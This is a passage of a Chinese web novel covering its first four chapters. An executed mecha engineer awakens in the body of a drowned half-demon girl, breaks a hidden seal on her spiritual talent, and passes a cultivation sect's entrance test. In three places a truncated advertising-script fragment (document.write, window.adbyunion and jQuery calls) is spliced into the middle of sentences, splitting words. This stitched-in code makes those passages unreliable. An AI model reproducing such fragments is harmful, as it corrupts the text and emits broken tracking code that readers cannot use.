《机甲师也想逆袭修真界第一!》 1. 第 1 章 “孟首席,该上路了。” 银白科技风的研究室内,几个荷枪实弹的侍卫牢牢地盯着那个穿白大褂的背影。 那是一个二十多岁的年轻女人,修长纤细的身躯披着一件卷边白大褂,挽起的衣袖露出小臂,骨节分明的手指握着金属探针,正在机械臂上灵巧地铭刻最后一段铭文。 她叫孟莘,虽然年轻,但已经是他们星际第一帝国的首席皇家机甲师,众侍卫不敢放松警惕。 落完最后一笔,整个机甲铭文连接贯通,复杂精密的纹路发出令人炫目的荧光,宛如一件绝妙的艺术品。 孟莘摘掉护目镜,摸了摸她人生中最后一件作品,惋惜地叹了口气,“唉,看不到你动起来的样子了......走吧。” 她一路被枪指着,穿过层层走廊,抵达尽头的一扇大门。 “皇太子殿下,孟首席带到了。” 静了一会儿,里头才传来一个沉稳的男声,“进来。” 孟莘听到机械门轻轻的“咔”的一声,随即轻盈地向两侧滑开,金红色的地毯尽头,皇太子正静静望着她,旁边站着他的私人医生,桌上的托盘里有支褐色针剂。 孟莘心里竟然松了口气,那是帝国最新研发的死刑注射液,十秒钟就可以要人性命,身体几乎来不及感受到痛苦。 这就好,她最讨厌疼痛了。 皇太子殷如是踱步到她身前,低头凝视着她,“你似乎毫不惊讶?” 孟莘笑了一下,“来的路上已经想通了,我从十岁就认识了流落在蛮荒星的你,我为你设计机甲,帮你变强一路回到帝国争取皇位,你承诺会提供给我最好的研究机甲的环境......” 她轻轻叹了口气,“我见过你最狼狈、最卑鄙、最无耻的十多年,现在你马上就要继承皇位,我这个见证者,已经成为你耻辱的证明了不是吗?” 殷如是的手钳住了她的下巴,逼迫她抬起头,似乎是想从她眼里看出什么东西,“你就没有别的话跟我说吗?” 孟莘眨了下眼,幽幽地说:“谢谢你让我学到了,永远不要相信老板画的大饼,哪怕老板是一起长大的青梅竹马也不行。打工是再也不会打工的,如果有下辈子,我要自己当老板。” “孟莘......你可真是,永远不能把你的聪明用对地方!”殷如是鼻腔里溢出一声冷哼,随后将她往后一推。 侍卫立刻接过她,扳过她的胳膊,医生将细细的针头扎进了血管,冰凉的死刑注射液流进她的血管,作用于她的神经。 十秒钟不到,孟莘就倒了下去。 * “如安!梁如安!你没事吧!” “如安......你不要吓姐姐,如安!” 好吵、好难受......一股大力不断按压着她胸膛,孟莘胸口憋闷地几乎要喘不过气来。 “噗!”她猛地咳出一口水,肺部终于得以呼吸到新鲜的空气,她慢慢地睁开了眼睛。 倒入眼帘的,是即将落入地平线的昏黄霞光、斜插入天的高大树林,以及蹲在自己身边的一个三十岁左右的灰裙女子。 “醒了!如安,你终于醒了!”灰裙女子激动地一把抱住了孟莘。 “你不是去参加沧溟派的入门测试了吗?怎么会掉水里?你真的是吓死我了,我还以为我来晚了!” 孟莘看着这陌生的树林、还有灰裙女子身上陌生的服饰,她嗓子撕裂一样疼痛,头痛欲裂的脑袋里忽然闪过很多画面。 星际时代精神娱乐非常发达,孟莘闲暇之余,也曾经看过几本网络小说打发时间,因此她很快为这一切找到了解释。 她穿越了,穿进了修真世界里一个叫梁如安的小姑娘身上。 梁如安的身世不是一般的惨。 她父亲梁峰清是名门大派沧溟派的三峰主,某次遭遇魔修,身受重伤躲入山谷,却不想里面还藏着一名女妖。 恰逢山谷内九溟花开、惑人心智,二人在花香作用下缠绵数月,产下了一颗蛋。 待那花谢,梁峰清先一步清醒过来,当今世道人妖势不两立,他没胆子面对这一切,无耻地逃之夭夭,等女妖醒来以后,偌大山谷内只剩下她和她的蛋。 人与妖结合生出的蛋,一般来说是孵不出来的,但她也不想把自己的蛋丢在外面平白被什么野兽吃了,就揣着蛋回了家。 然而女妖万万没想到,这蛋孵出来了,也就是梁如安。 以上这些身世内容,都是梁如安五岁那年,女妖在沧溟山下告诉她的。 “沧溟山上有结界,娘亲只能送你到这里了。从今天起,你就叫梁如安,听说人类很看重子嗣,想必梁峰清会好好待你,无论怎么样......总比跟着我要好,至少平安。” 在离开前,女妖半蹲着身体,纤纤玉指在梁如安眉心一点。 “我已经封印了你过去的记忆,压制了你的血脉,任谁看都会觉得你只是个普通人。” “只有一点你必须记得,如安,十八岁以前,绝对不能离开沧溟山超过一里,否则会有性命危险。” 从此梁如安不再记得母亲姓名容貌为何,家乡又在何处。 五岁稚童只能登上沧溟山,寻找她世上的另一位血亲。 然而...... “笑话,梁师叔从没成过亲,哪来什么劳什子孩子,你那张脸上有半分和梁师叔相像吗?” “灵术验亲?梁师叔父母双亡,膝下无子,他本人已经闭关数年,没人能见到他的面,怎么跟你验?” 整整十年,少女被挡在沧溟派的山门外,备受嘲讽捉弄。她盘缠用尽,连女妖留给她的护体法器,也只能典当出去。 最后,这个孤苦少女只能在山下的茶馆里做工养活自己,然而茶馆老板李岩刻薄贪婪,克扣工钱动辄打骂,要不是老板娘张之雁对她多加照拂——也就是那个灰裙女子,恐怕她早就死了。 梁如安想,既然梁峰清不出来,她也不能离开沧溟山,那她就拜入沧溟派门下,自己去见他。 然而沧溟派哪怕是外门弟子,入门条件也要达到识海三星,梁如安身为半妖先天不足,根本达不到标准,失魂落魄地走进了树林。 这些年她屡屡上山,已经在那些外门弟子跟前混了眼熟,有五个弟子看她貌美,便动了歪心思,偷偷跟她到了树林,意欲不轨。 梁如安激烈反抗不慎落水,那几个弟子想救起她轻而易举,但他们见她不从,又怕她说出去被师门知道,便袖手旁观看着梁如安溺死在了水里。 等张之雁救起她,真正的梁如安已经死了。 女妖对梁如安的期许是,至少平安。 她平安了吗?嗯......如安。 明白了现状,孟莘在被张之雁的胳膊勒死之前,及时地拍了拍她的后背,用嘶哑的声音说:“之雁姐,咳咳,我没事了,你放心。” “对对,我真糊涂,”张之雁懊恼地一拍脑门,连忙从怀中的包袱里掏出一件外袍,披在孟莘身上。 “我看你出门一天了还不回来,想起你早上出门穿得少,就出来给你拿衣服,唉,还好出来了一趟。” “今天真是多谢你了。”孟莘真心实意地对张之雁鞠了一躬,要不是张之雁,恐怕她穿过来也要跟着死了。 “你这孩子客气什么?”张之雁拉着孟莘起来,仔仔细细把她打量一番,确认她没事,才放下心,“走,回家姐姐给你煮姜汤喝,出了什么事等回去了你慢慢说。” * 孟莘跟着张之雁从树林出来,已是暮色四合。 只见巍峨仙山下的青州城,连绵高楼结起游龙般的灯笼,珍宝佳肴应接不暇,往来行人络绎不绝。 沧溟山下的寸土寸金之地,繁华景况令人瞠目。 只是传进耳里的话就不那么美妙了。 “呦,这不是自称仙人后裔的梁如安嘛?怎么,连个外门测试都过不去啊?” “消息早都传遍喽,她只是个二星啊,连我家二妞早两年都测出是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 二星!怎么?仙人就生出这么个二星?” 沿途路过的掌柜们嗑着瓜子刻薄着,小孩们有样学样地把大人的瓜子皮拢成一堆,丢到孟莘身上,嘻嘻笑着:“大话精回来喽大话精回来喽!” 孟莘紧紧皱起了眉,梁如安生活的环境竟然如此糟糕! “别怕如安,”张之雁抿紧了唇,胳膊一伸,把孟莘拢在怀里,快步回了茶馆,也不理客人和跑堂们诧异的眼神,直接走进后院,把孟莘推进房间。 狭窄而潮湿的小屋,除了几件破旧的衣服,几乎看不到任何梁如安的个人物品。 孟莘抬眼看向桌上那面裂了缝的铜镜,里面倒映出一张和孟莘本人有八分相像的脸,封印化成一点红痣点在眉心,宛如一个熟悉而陌生的幽灵。 张之雁已经把浴桶和热水准备好了,她怜惜地摸了摸孟莘冰冷的脸蛋,柔声说:“别听那些人瞎说,你先洗洗,暖和一下,姐姐去给你煮汤。” * 把身体浸入热乎乎的浴桶里,孟莘凉透了的身躯终于缓了过来,有空隙梳理一下思绪。 她竟然死而复生了! 孟莘赴死赴得很平静,不代表她不想活着。纯粹是因为她知道她一个手无缚鸡之力的机甲师逃不掉、也反抗不了皇太子的军队,还不如死得体面点。 既然有再活一次的机会,她当然要继续搞自己的研究,机械可是她毕生挚爱。 但孟莘既然因梁如安而复活,自然得为这个可怜的小姑娘做点什么。 那些害了她的人渣得为她偿命!她心心念念要找的家人得为她找到!照顾她长大的张之雁必须回报! 梁峰清究竟是什么情况暂且不知,但那个女妖显然是有特殊理由才离开梁如安的,如果条件合适的话,孟莘觉得自己有必要把女儿的死讯告诉母亲。 “要想完成这些,我非得进入沧溟派不可,识海三星就是一道避不开的坎。”她皱着眉喃喃道。 这个世界里,修真共分为炼气、筑基、通会、结丹、元婴、玄明、化神、渡劫八个境界。 吸收天地灵气要靠自身识海。识海决定了底子和上限,星级决定了对灵气的吸纳速度和领悟能力。 星级越高,天赋越强,七星识海据说是这个世界的最强天赋。 而梁如安,很不幸,只有二星,被挡在了修炼的入门条件外。 孟莘怀疑这是血脉压制的缘故,梁如安亲爹是沧溟派峰主,亲娘手指一点就能把记忆消得干干净净,如果这两人的孩子是个废物,那也太遗传学的小概率事件了吧。 她遵循着梁如安的记忆,照猫画虎地沉入了识海。 少女的识海干枯得像废弃的小池塘,只有两颗光芒微弱的星星轻轻地旋转着。 十五岁的梁如安发现不了端倪,只能日复一日地把吸收到的可怜灵气填入无底洞一样的沙漠,像愚公移山一样重复着看不到希望的过程。 但她是孟莘,是第一帝国的首席机甲师。 机甲师在她的时代是个非常珍贵的职业,因为对精神力的要求出奇得苛刻,她的精神力等级测定是十级,那是因为帝国对精神力的划定只有十级。 几乎是进入识海的一瞬间,孟莘就发现了不对。 这个识海明明细节完善、完全符合这个世界的规律,但给她非常强烈的违和感,像是......被造出来,故意给人看的一样。 她的精神力全面爆发,这才从识海中隐隐约约看到了密密麻麻的铭文,像一堵墙一样,把真正的识海藏在了下面。 “好有趣的铭文,哇,这里竟然还能这么画......” 孟莘眼睛一亮,一个障眼法的铭文竟然也能如此精妙,同为铭文大师,她立刻对女妖产生了惺惺相惜之感。 花了半刻钟,孟莘一边欣赏一边解开了最后一道铭文,识海的真正面貌徐徐展露。 如湖泊般广阔无垠的识海里覆着浅浅一层水面,而碧水之上,七星连珠。 “七星识海!” 2. 第 2 章 孟莘震惊了。 但让她震惊不是七星,毕竟她对梁如安应有的天赋早有预料,她惊讶的是这些星星的样子,竟然是一颗颗环绕着火光的猩红球体。 “好诡异的样子,”孟莘这下汗流浃背了,按这个世界的常识,这样的识海绝对不正常。 也许是半妖的缘故,又或许和她十八岁前不能离开沧溟有关,难怪女妖要用障眼法,这样的识海被人发现,只怕会让梁如安被人盯上。 孟莘仔细探查,发现女妖把其中五颗星星都封印了,剩下两颗通过障眼法的投影,就变成了梁如安看到的样子。 要想进入沧溟,她至少还得再解开一颗。 只是,如果说障眼法的铭文让孟莘感到有趣的话,那这个封印铭文,就是让孟莘肃然起敬了,要解开绝不轻松。 想到张之雁还在等她,孟莘决定等晚上再试。她跨出浴桶,擦干身体,换了身干净衣服,撩开帘子出了房门。 夜幕已降、月明星稀。 茶馆后院里支起凉棚点了烛火,饭菜碗筷都已经摆好,姜汤还冒着热气,却不见人影。 孟莘转去前厅,向跑堂打听张之雁下落。 “还能是去哪?老板回来了,当然是跟着老板上楼了呗,”跑堂眼睛一眯,露出贼笑,“你今天翘班偷跑出去测试,就只是个二星?” 他段位太低,还比不上外面那些店家的一根手指头,孟莘没理会跑堂的揶揄,直接往楼上走,听见跑堂在后面嘀咕:“怎么今天这么不好逗?” 刚上二楼,孟莘就听见隐约的争吵声,敏锐的精神力准确地捕捉到了梁如安的名字。 张之雁哀声苦劝:“要不是你安排得如安没有一点休息时间,也不准她的假,她能偷偷溜出去测试吗?就你给她的那点工钱,你以为还能招到跟她一样勤快懂事的跑堂?” 茶馆老板李岩粗声粗气地骂着。 “怎么,别人叫你一句老板娘你还真当自己是老板娘,可以骑到我头上来了?” “这店是我的,我说怎么样就是怎么样!明天就让梁如安给我滚蛋!” “不过她那张脸倒是还有点可取之处,看你跟她关系这么亲近,你要是劝她跟你做一样的姐妹......我当然会好好待她。” 李岩图穷匕见,语末黏腻的阴湿让孟莘一阵恶心,她听到张之雁立刻和李岩吵起来,随即里面传来一声清脆的巴掌声。 那个畜生打她了!孟莘目光一冷,快步走过去。 房门啪一声从里面撞开,膀大腰圆的李岩拍拍手出来,看到迎面走来的孟莘。 少女白净美丽的脸上,一双眼睛燃着汹涌的怒火。 然而她身体瘦弱,看上去毫无威慑力,李岩不以为意,反而用势在必得的目光在她身上打量了一圈,“哼”一声走下了楼。 孟莘捏了捏拳头,抑制住了揍李岩的冲动,冲进房间,撞见张之雁正跪坐在妆台前,用脂粉遮住脸上的巴掌印。 张之雁尴尬地用手捂住左脸,“如安,你先出去等等姐姐,姐姐马上就好。” 孟莘恍若未闻,径自走过去,伸手想看看伤口,却因为怕触痛张之雁,手指停在了半空,她低声询问:“他一直这么对你吗?” 梁如安的屋子在后院,胆小敏感的少女从不敢越界攀上二楼,她记忆里的之雁姐永远优雅又干练,没人看到被张之雁努力掩饰起来的真实。 少女单薄瘦削的身影挡住了烛火,在骤然降临的昏暗中,唯独她垂下的眼眸,却是坚毅而愤怒的,好像只要回答一句“是”,她就会带着自己从地狱中跑出去。 一滴眼泪毫无征兆地从张之雁眼角滚了下来,她从未想过自己竟然会在别人面前哭出来,怔怔地都忘了去擦,然而一息之后,张之雁清醒过来。 她飞快弯下身,用一张帕子把柜子里所有的首饰都包起来,揣进怀里,拽起孟莘的手腕,急步下楼直奔后院门。 “如安,你听到李岩的话了,跑吧,跑得越远越好!你等的那个人不会来了,青州对你来说不安全,这些首饰你拿着,走远些再换成钱财,去一个没人认识你的地方重新开始!” 孟莘被推出了院门,她看着被塞到自己怀里的那包首饰,又看着捏着院门的张之雁,一道门槛把她们分割到两边,她立刻明白了张之雁的意思,尽可能让自己平静地问:“你呢,你自己为什么不跑?” 张之雁伸手把自己凌乱的发丝拢到耳后,之前流露出的脆弱已经看不出分毫,笑笑说:“如安,姐姐有自己的麻烦,我走不了,你也帮不了我。” 夏夜的凉风从薄衣的缝隙里穿过,冷却所有冲动、愤怒和不解,孟莘深深呼了一口气,清醒地明白,明日在入门测试上取得沧溟派入门资格,她没有其他选择,势在必行。 孟莘笑了一下,那包首饰被她强硬地塞回了张之雁怀里,“之雁姐,正巧,我也有自己的麻烦,离不开这青州城。现在的我确实帮不了你,不过只要一天,我会向你证明,我早晚能帮到你。” 张之雁呆呆地看着孟莘,好像一天时间,这个她看着长大的可怜少女突然就成熟了起来。 “还有,之雁姐,”孟莘离开前,最后说道:“既然梁峰清一直不见我,看起来也不想要我的样子,那我也不必再用这个名字了,我想了个新名字,以后就叫我孟莘吧。” * 沧溟派一年一度的入门试炼已经到了最后一天,错过这次,就得再等一整年,白白蹉跎年华,因此沧溟山的长阶上挤满了人。 孟莘在树林中解了一晚的封印,最后看人数不妙,这才排到了队伍后排。 女妖的铭文远比她想象的更加精妙,好几次她以为自己已经找到了答案,却只是陷入了女妖的陷阱。 就像棋痴遇到了死局一般的棋谱、剑痴遇到了难以战胜的对手,她感受到的并不是挫败和烦躁,而是兴致、越来越旺盛的兴致。 可惜在这个世界里,铭文自带着施法者的灵力,要解开也同样需要灵力支撑。 女妖的障眼法她还可以轻松解决,但封印铭文的消耗太大了,梁如安炼气一级的实力根本支撑不住,全凭孟莘强大的精神力硬顶。 她的全副精神力集中在封印上,不知时间流逝、天地几何。 突然,她的衣袖被人拽了好几下。 孟莘猛地睁开眼睛,猩红火光在她眸中一闪即逝,没有任何人注意到。 她低头看着拽着自己衣袖的那只手,又顺着手望向它的主人,是个排在她身后的十五岁左右的少年,她压制住烦躁,尽量礼貌地问:“有什么事吗?” “前面走动了,你差点被人插 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 队,还好我挡住了。”少年指了指她前面。 孟莘转头一看,果然前面空出了两阶,她立刻站了上去,不忘跟少年道了谢。 “害,没事,主要是我心急,”少年摆了摆手,好奇地看着她,“你干嘛一直闭着眼睛,站台阶上闭眼睛很危险诶。” “我在学习。”孟莘实话实说。 少年嘴巴张得像能塞进一颗鸡蛋,“闭着眼睛学习啊?” “对,”孟莘草草回答,然后又沉入了识海。 但没过多久,她又被摇醒,少年指着前方,“又空出来了。” 孟莘烦躁地抓了下头发,这样肯定不行,她一直被打断的话,肯定是解不开封印了,她得想个办法。 她的目光在四周溜了一圈,最后停在了少年身上。 孟莘损耗一夜的精神力,眼睛爬满可怖的血丝,少年被她看得汗毛直竖,“你干嘛这么看我?我不是故意打扰你啊,是前面空出来了。” “我知道,”孟莘尽量温声道,“咱们换个位置怎么样?” “那当然好啊,但我有吵你到这个程度吗?”少年纳闷道。 孟莘已经下了一阶,并把少年推了上去。 这少年身上的白色锦衣看着不扎眼,料子却是极其柔顺透气的,束发的玉冠,嘶,真是做关节的好材料,可见他家世不错,应该算得上养尊处优。 这样的人在这样热的大夏天出来排队,总不至于什么东西都不带,她的目光落在少年腰间系着的薄玉片组成的坠子上,“这是......风扇?” “对,”少年看她好奇,便解开坠子,注入灵力,几瓣玉片艰难地挪动了一下,又停了下来,“我在山下买的,一百灵石,用灵力就可以催动,可惜坏了。” “能让我看看吗?” “没问题,坏都坏了,送你也行。”少年无所谓地把坠子递给她。 孟莘端详片刻,上面果然刻着铭文,只是太过简陋,是个一次性废物,也就骗骗这种不差钱的小少爷。 她的世界用的铭文和这个世界的其实不太一样,不过在解女妖封印时她已经搞明白了很多共通之处,这种小设计,她信手拈来,也几乎用不着灵力。 她沉入精神力,拿出系在腰间的短刀,开始铭刻。 少年好奇地看着,他见过铭刻铭文的,都是拿专门的刻刀,少女手里这把刀太粗糙了,恐怕要把玉片刮断。 但下一息,他眼睛蓦然睁大,只见那把短刀在少女手中宛如她手指的延伸,落在玉片上的动作果断又轻盈,短短须臾之间,她手下铭文已成。 孟莘收回短刀,把玉坠抛回他手里,“试试。” 少年试探地催动了一下灵力,玉片立刻转动起来,习习凉风兜头吹来,风力远比之前更大更顺畅。 “好手艺啊,姑娘你是符修吗?也是有缘,认识一下吧,我叫许子墨,你开个价,多少灵石我这就给你,”说着许子墨已经开始转动自己的须弥戒。 “孟莘,不用报酬,”孟莘摆了摆手,拒绝了他的灵石,而是从口袋里掏出一根绳子,将绳子一端系在了她的腰带上,然后把另一端递给他。 许子墨看得一愣一愣的,然后就听到少女不好意思地说:“烦请你帮个忙,上台阶时别叫我,拉我一下就行,我真得学习了。” 3. 第 3 章 光天化日朗朗乾坤。 许子墨在众人一言难尽的诡异目光中,一路上都用绳子牵着这个疑似符修的少女。 真是见了鬼了。 整个上山的过程中,他没再见她睁过眼睛,他拉她一下,她就顺势往前踏一阶,烈日炎炎,石阶上人人都被晒得跟狗一样,她愣是没流一滴汗,反而脸色越来越痛苦苍白。 “别是在修炼什么奇怪妖法吧。”许子墨小声诽谤道。 丝毫不知道自己猜对了的许子墨,不久后就排到了山门前的丹墀。 只见白玉山门巍峨庄严,沧溟派三字雕刻其上,笔走游龙、奇崛缥缈。 一块颜色深邃的紫黑色巨石屹立在丹墀中间,那正是测试用的天石,身着蓝色衣袍的弟子在两边抱剑而立,徐徐清风拂过衣摆,渺渺有仙人之姿。 这是多么令人敬仰的一幕啊,许子墨本该激动地看着这画面泪流满面,在诸位未来师兄师姐面前刷足好感,但现在......他捏着手里的绳子,欲哭无泪地想跟孟莘拼命。 她之前不是拽一下袖子就清醒的吗?怎么这回死活也叫不醒了?连点反应也没有。 负责登记的沧溟派弟子伏在桌上,头也没抬,“名字,年龄。” “许子墨......年龄15......” “说个名字年龄支支吾吾的干嘛?替考的?”弟子骂骂咧咧抬起头,然后愣在了当场。 只见那个支支吾吾的少年手里拿着根麻绳,绳子那头,拽着个......人? 沧溟派弟子们把他从头打量到脚,又从脚打量到头,最后纷纷啧了一声,露出了相似的眼神——有钱人玩得真花。 “这位也是来参加测试的!我这就把她叫醒!”许子墨跟煮熟的鸭子似的,转过身疯狂摇晃孟莘的肩膀,语气绝望得像是想跟孟莘同归于尽,“孟莘!醒醒醒醒!你再不醒我以后的清名就彻底完了!” 许子墨不知道,孟莘现在听不到任何呼唤她的声音,她的全部五感都已经封闭。 解封到了最关键的时候,她的识海早就被榨得挤不出任何一丝灵力,精神力也几乎完全枯竭,大脑因为严重透支而针扎一样疼痛,她能坚持到现在,凭的完全是求生的意志力。 她也好、张之雁也好,对于李岩都太孱弱了,如果错过今天沧溟派招生的最后一天,那她大概就只能逃出沧溟山一里的范围外,等着看那究竟是什么后果。 而她有种预感,那绝对是她难以想象的严峻地狱。 孟莘的精神力缠绕上了最后那片铭文,她只够再做最后一次尝试...... 许子墨还在垂死挣扎地试图唤醒孟莘,而在丹墀里的外门弟子,却已经眼尖地认出来了少女的身份。 “呦,这不是自称是梁峰清师叔女儿的梁如安嘛,她怎么又来了?” “哈哈哈哈哈,还真是!她昨天不是来测过天赋嘛,只是个区区二星而已,今天又来求梁师叔见她?” “她瞎编点什么不好,偏偏冒认梁师叔,梁师叔是谁?我们沧溟派唯一一个七星识海,25岁突破成为全天下最年轻化神境的梁峰清诶,他拿头生出一个区区二星的废物?” 许子墨怔怔地看着这群弟子们奚落身边的少女,一时都有些恍惚,这群表面上仙风道骨的修士们,开口竟能如此尖酸刻薄? 他忍不住开口,“她是不是那位梁师叔的女儿,让他们当面对峙不就清白了,如果确实不是,她自然也不会再来苦苦纠缠,何必妄自揣测她?” “废话那么多干嘛!管她是不是,她昨天已经测过了是二星识海,根本达不到入门标准,又来捣什么乱?快给我把她轰出去!”负责登记造册的那位弟子,在其他人嘲笑时一直没吭声,这时候突然疾言厉色地喝道。 “那也得等她醒了再说!”许子墨虽不了解全貌,但沧溟派仗着人多势众,在欺负一个弱小凡人,这一点却是再清楚不过,他立刻挡在了孟莘前面。 如果许子墨此时再细心一点,就会发现,那位疾言厉色的弟子,手撑着桌面,身子弓得宛如遭遇危险的兽类,不正常地抖动着,眉梢跳动着难以言喻的惊惧。 她怎么会在这里?她怎么可能还出现在这里! 她明明......已经死了才对! 他叫范济,昨日,正是他纠集了另外四名师弟,亲眼看着梁如安淹死在了水里,死了的人怎么可能活着回来?!! 不能让她再待下去,免得把他们的丑事捅出去!活了又怎么样?活了,就让她再死一次! 范济眼里掠过一丝狠意,飞身直冲着孟莘而去,筑基期一级的灵力覆上手掌,抓住许子墨肩膀,就要把他掀开,“臭小子,不关你的事,识相的就给我闪开!” “堂堂筑基期修士,众目睽睽之下,公然对凡人下手,这就是你们沧溟派的门风吗?”许子墨眸色一冷,厉声喝道。 在筑基期修士的威亚下,他身体未被撼动分毫。 范济大惊,这个不显山不露水前来拜师的少年,竟然已经筑基了! 二人僵持不下,而事态变化太快,其他弟子们一时没反应过来,都愣在原地不知该如何处理。 “咳,”虚弱的咳嗽伴随着一丝血腥气突然从身后传来,许子墨悚然一惊,立刻撤身,飞快扶住孟莘肩膀,没让她直接栽倒到地上,“我去,你这是怎么了?” 孟莘透支过度,脸上不见一丁点血色,双眼血丝猩红,嘴角还残留着刚吐出的一口血,看上去仿佛命不久矣,吓人极了。 她由于之前一直五感封闭,完全不知道发生了什么,沙哑着嗓子虚弱地说:“我还想问你这是怎么了呢?” 她深深呼出一口气,缓过来一点,目光从丹墀里惊疑不定的弟子们,掠到自己身前的许子墨,再到前面那张惊怒又眼熟的脸。 她目光一凝,嘴角勾起一点似有似无的阴沉笑意,“现在懂了。” 孟莘推开许子墨的手,站直身体,缓步朝范济走过去。 她看起来那么虚弱,仿佛风一吹就要倒了,偏偏方才还疾言厉色的范济此时眼神惊悚非常,被水鬼缠住一样一动不动。 她微微探过头,附在他耳边,语气温柔得宛如对情人低语。 “湖底真的好冷好冷啊,你说是不是啊,师兄?” 丹墀上突然发出一声尖锐的暴鸣,范济仿佛被什么刺激到,竟然不管不顾地就要使出全力,对孟莘下死手。 “住手!” 一声清越的厉喝和一柄青色宝剑从天而降,直悬在了范济上空,强大的威亚让他动弹不得。 一个白衣女子瞬息之间飞至丹墀,收剑入匣,环视诸弟子,怒目叱责:“今日一年一度的入门考核,你们不但懈怠喧哗,还公然对普通人动手,是谁教你们如此失礼!现在的外门弟子不济到这地步了吗!今日在场所有人,回去以后到戒律堂领罚,范济,再加禁闭半个月!” 在场诸弟子纷纷跟霜打的茄子似 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,蔫了下去乖乖点头。 险情化解,许子墨偷摸到孟莘跟前,抚着胸口后怕:“你真是吓死我了,幸好来了人主持公道,不然他突然动手,我可来不及救你啊。” 孟莘当然是看见了有人来才故意激怒范济的,不过她也是真的感谢许子墨,“多谢你今天仗义执言。” 许子墨摆摆手,“嗨,没事,我就是看不惯他们这种欺软怕硬的人,还好有人讲公道,不但这沧溟派我掉头就走。” 然而那头范济却是不服:“大师姐,她叫梁如安,就是那个叫嚣着说自己是梁师叔女儿的梁如安!她昨天就来测过了,识海只有两星,别说她根本够不到标准,就算够到了,难道我们还要把这种满口谎话构陷梁师叔清誉的人收进门吗!我只是替宗门清扫垃圾而已!” 周围瞬间安静下来,都等着那位大师姐的决断。 孟莘感觉白衣女子的视线在自己身上停了一会,随后转了回去,淡声道:“是非不分、仗势欺人,再加半个月。” 范济呆住了。 但那白衣女子却已经懒得在他身上多花半分心神,径自走到孟莘和许子墨身前,“我叫祝雁灵,之后的考核事宜由我来负责,今日我沧溟派弟子失礼,二位受惊,我这里有两瓶玄级注灵丹,还请二位收下。” 祝雁灵须弥戒一转,便托着两瓶丹药递到二人面前。 注灵丹对修炼大有裨益,还是玄级,莫说是普通凡人,连丹墀里的弟子们都眼热起来。 然而许子墨只是耸耸肩,指向孟莘,“今日受惊的是她,都给她吧。” 两瓶注灵丹,对这面无血色的孱弱少女,只怕能生生把她拔到筑基期,洗髓伐骨,在凡人中,堪称一步登天了。 但孟莘看都没看那丹药一眼,“我不要丹药,我要换个补偿。” 祝雁灵微微蹙眉,“你想要什么?” 孟莘深吸一口气,紧紧盯着祝雁灵的眼睛,一字字道:“我要再测识海。” 整个丹墀霎时落针可闻,所有人想破头也想不通,她怎么能提出这种要求? 祝雁灵显然也非常不解,“天石是不会失误的,你昨日是二星,今天自然也是二星,可你放着丹药不要,却偏偏要再测一次?” 孟莘点点头,“不错。” 这少女执着得有些不识好歹了,祝雁灵干脆把丹药收了回去,淡声道:“既然是你自己选的,那就去测吧。” 终于......孟莘拖着疲惫的身体,走到紫色天石前,这种材质的石头她以前从未见过,竟有些紧张,它会不会看穿她身体里的障眼法?毕竟她已经动过了女妖的铭文了。 这个世界上人与妖族矛盾重重,要是身份露馅,她恐怕吃不了兜着走。 但她也已经把她所有的一切都赌在上面了。 孟莘深吸一口气,五指张开,轻轻按在上面,一股陌生的气息侵入了她的识海,却没有在发现识海内的三颗星星以后就感到满足,而是试探着辨别真伪...... 在丹墀上的其他人看来,就是天石莫名奇妙地半天没有反应。 范济大笑道:“我就说,这个谎话精根本够不到入门标准,昨天测的二星,今天连一颗星都测不出来了!废物就是废物!现在该后悔不要丹药了吧!” 话音刚落,天石上忽然流转起奇怪的波动,有一瞬间仿佛注入了别的颜色,但最终,还是明明白白地显示出了三颗环绕的澄亮星星。 三星识海! 4. 第 4 章 孟莘睁开眼,迅速把沾满冷汗的手掌收回衣袖。 好险好险,要不是她紧急补上了一个铭文,天石就要看破她的底细了。 “怎么会?识海怎么会突然增加一星?”在场除了纯吃瓜的许子墨,其他人心里都掠过这个疑问。 只有范济把其他人的质疑大喊了出来:“她一定是作弊了!” 一道威压突然直捣范济面门,来自眼神不善的祝雁灵,“还不闭嘴!天石是随便什么人都可以蒙蔽的吗?别在这里给宗门丢脸了,不用等晚上,你现在就去禁闭室思过!” 孟莘收敛好情绪,从面露不甘的范济身边穿过,径自走到祝雁灵身前,“师姐,识海三星,我可以进沧溟了吗?” 祝雁灵锐利的目光盯准孟莘,“你就是那个自称是梁师叔血脉的梁如安?” 吃瓜的、期待的、鄙夷的、质疑的诸多目光集中在那少女身上,只见她慢慢笑了,云淡风轻回答:“不是啊。” “你说不是就不是?”外门有弟子抱着胳膊冷笑道:“见过你的人多了去了,这时候不敢认了?” 孟莘摇了摇头,眼神清澈恳切,振振有词,“那是昨日的我,昨日之日不可留,今日之我已非昨日之我。我已经大彻大悟,梁这个姓不好,和我命格犯冲,阻碍了我的修行、限制了我的天赋,所以梁峰清的女儿我不做了,我现在是和梁峰清一点关系都没有的孟莘。” “哈?”外门弟子瞪大了眼睛,“你以为靠歪理邪说就可以蒙混过去?” 孟莘没理他,而是看着祝雁灵,又问:“我可以进沧溟了吗?” 祝雁灵的眉头并未放松下来:“哪两个字?” 孟莘沉默了一下,才谨慎回答:“''我本渔樵孟诸野,一生自是悠悠者''的那个孟,莘莘学子的那个莘。” 祝雁灵垂下了头,半晌未做出回答。 孟莘有点紧张,她解释“孟”字,是为了表明自己只渴望平静生活,解释“莘”字,是表明自己入门后只会认真修行,总之就是一个意思——梁峰清是过去的事了,她现在不想惹事。 祝雁灵沉默过后,终于还是把外门弟子的令牌递给她,“明日辰时,在这里报道。” 孟莘麻溜地把令牌接过来,生怕祝雁灵反悔,“谢谢师姐。” “你......”祝雁灵犹豫半晌,终于还是开口,“梁师叔为人正派,孤身驻守魔域三十载,宗门内人人感佩,现在他正在渡劫期的关键时刻,闭关不出不知道外面发生了什么,如果有人在这种时候诋毁梁师叔的清誉,同门们是不会放着不管的......何况,你和梁师叔真的没有半分相像。” 孟莘眨了下眼睛,“我现在是孟莘,梁峰清与我何干?” 至于梁峰清为人如何,女妖和沧溟派弟子各执一词,孟莘更相信自己的眼睛,她会替梁如安亲眼见证的。 “你最好是。”祝雁灵深深地看着她。 